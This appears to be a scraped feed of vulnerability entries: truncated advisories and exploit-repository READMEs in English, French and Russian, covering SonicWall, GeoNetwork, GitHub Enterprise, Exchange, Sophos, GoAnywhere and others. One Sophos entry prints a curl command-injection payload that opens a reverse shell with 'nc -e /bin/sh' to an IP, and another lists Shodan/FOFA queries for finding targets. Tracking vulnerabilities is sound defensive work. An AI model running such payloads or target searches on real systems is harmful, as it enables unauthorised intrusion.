PT-2026-84518

Name of the Vulnerable Software and Affected Versions SonicWall SMA1000 Appliances affected versions not specified Description A pre-authentication Server-Side Request Forgery SSRF issue exists in the Work Place interface. This occurs due to an unintended alternate access path, allowing a remote...

VulnCheck KEV: CVE-2026-83548

A Pre-authentication SSRF vulnerability exists in the SMA1000 Appliance Work Place interface due to an unintended alternate access path. A remote unauthenticated attacker could potentially exploit this vulnerability to gain unauthorized access to sensitive functionality and perform unauthorized...

PT-2026-84459

Name of the Vulnerable Software and Affected Versions GeoNetwork versions prior to 4.4.12 GeoNetwork versions prior to 4.2.17 Description An unprotected API endpoint used for creating new formatters via file upload allows unauthenticated attackers to upload arbitrary .xsl or .zip files. This...

PT-2026-84532

Name of the Vulnerable Software and Affected Versions GitHub Enterprise Server versions prior to 3.22 Description A Server-Side Request Forgery SSRF issue exists where insufficient network isolation allows malicious pre-receive hook code to impersonate an internal service. This enables the...

CVE-2025-54939

PoC pour QUIC-LEAK CVE-2025-54939 dans LSQUIC Aperçu Ce PoC met en évidence CVE-2025-54939, une vulnérabilité d'épuisement de mémoire avant l'établissement de la liaison déni de service dans l'implémentation QUIC de LSQUIC. Ce problème, nommé QUIC-LEAK, a été documenté pour la première fois par...

CVE-2026-35333

CVE-2026-35333 Boucle infinie pré-authentification / déni de service distant dans l'itérateur d'attributs RADIUS de strongSwan. Description attributeenumerate dans src/libradius/radiusmessage.c:247-271 accepte des attributs RADIUS dont l'octet length est inférieur à sizeofrattrt 2. Pour length ==...

wp2shell-rce

WP2Shell RCE Un utilitaire d'évaluation et de scan conçu pour détecter l'exposition à la chaîne d'exploitation WP2Shell dans les installations WordPress Core, sur des cibles uniques ou de grandes listes de cibles. ⚠️ Avertissement Ne scannez que les systèmes qui vous appartiennent ou que vous êtes...

GDBusServer: glib2: GDBusServer pre-authentication DoS via unbounded SASL line buffering

A denial-of-service and resource exhaustion vulnerability exists within the GDBus component of GLib. The gdbusauth authentication mechanism fails to enforce proper length limitations on data lines read from a client. An unauthenticated local or remote attacker can exploit this lack of input...

Moderate: Red Hat Security Advisory: glib2 security update

An update for glib2 is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

CVE-2023-46747

CVE-2023-46747 Un script d'exploitation développé pour exploiter la CVE-2023-46747, qui permet une exécution de code à distance sans authentification sur les produits f5-BIG-IP. Ce script est conçu pour exploiter l'exécution de code à distance sur les produits f5-BIG-IP vulnérables. Installation ...

CVE-2019-0708

CVE-2019-0708 Introduction Microsoft a publié sa mise à jour de sécurité mensuelle pour mai. Dans le cadre de ce Patch Tuesday, la vulnérabilité CVE-2019-0708 a été corrigée. Il s'agit d'une faille critique d'exécution de code à distance qui pourrait permettre à un attaquant distant non authentif...

WSO2-CVE-2022-29464

WSO2 Carbon Server CVE-2022-29464 Уязвимость RCE без предварительной аутентификации CVE-2022-29464. Полный технический анализ будет опубликован в моем блоге: https://mr-r3bot.github.io Использование root@kitploit: python exploit.py -u...

watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 Une preuve de concept d'exécution de code à distance sans authentification pour Commvault Consultez notre article de blog pour les détails techniques Détection en action root@kitploit: python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / ...

CVE-2026-60004

CVE-2026-60004 — RCE в Gitea через Git-хук Diffpatch Инъекция хука в bare-клон → post-index-change → Выполнение произвольных команд Обзор CVE-2026-60004 — критическая CVSS 9.8 уязвимость удалённого выполнения кода без аутентификации в самохостинговых Git-платформах Gitea и Forgejo , затрагивающая...

CVE-2019-1003000_RCE-DETECTION

CVE-2019-1003000RCE-DETECTION Résumé général En enchaînant la vulnérabilité CVE-2018-1000861 avec CVE-2019-1003000, j'ai créé un module pour tester une RCE pré-authentification sur Jenkins CI. Initialement, j'avais essayé de détecter la vulnérabilité avec un nom d'utilisateur, un mot de passe et ...

CVE-2026-62911

CVE-2026-62911 RCE sans authentification sur Microsoft Exchange Server. Aucun identifiant requis. Orange Tsai DEVCORE a utilisé cette faille lors du Pwn2Own Berlin 2026 dans le cadre d'une chaîne de 3 bugs. Prix de 200 000 $, prise de contrôle totale en tant que SYSTEM. Ce qu'il fait Exchange...

CVE-2026-39987-Poc

CVE-2026-39987-Poc Client WebSocket Proof of Concept PoC pour CVE-2026-39987 RCE pré-authentification Marimo, destiné aux tests de sécurité autorisés. ⚠️ Avertissement Ce script/outil est fourni à des fins éducatives, de recherche et de tests autorisés uniquement. Il est conçu pour être utilisé su...

CVE-2026-65400-poc

CVE-2026-65400 — macOS Partage d'écran : lecture de fichier root pré-auth PoC en lecture seule Preuve de concept en lecture seule. Elle démontre le contournement de l'authentification en lisant un fichier réservé à root sur un hôte vulnérable. Elle n'écrit rien sur la cible : pas de LaunchDaemon,...

CVE-2023-1671

CVE-2023-1671 RCE sans authentification dans Sophos Web Appliance Poc root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 "...

CVE-2023-0669

CVE-2023-0669 GoAnywhere MFT подвержена уязвимости внедрения команд до аутентификации в сервлете License Response из-за десериализации произвольного контролируемого злоумышленником объекта. 0x00 Поисковые запросы shodan root@kitploit: title:"GoAnywhere" FOFA root@kitploit: title="GoAnywhere" 0x01...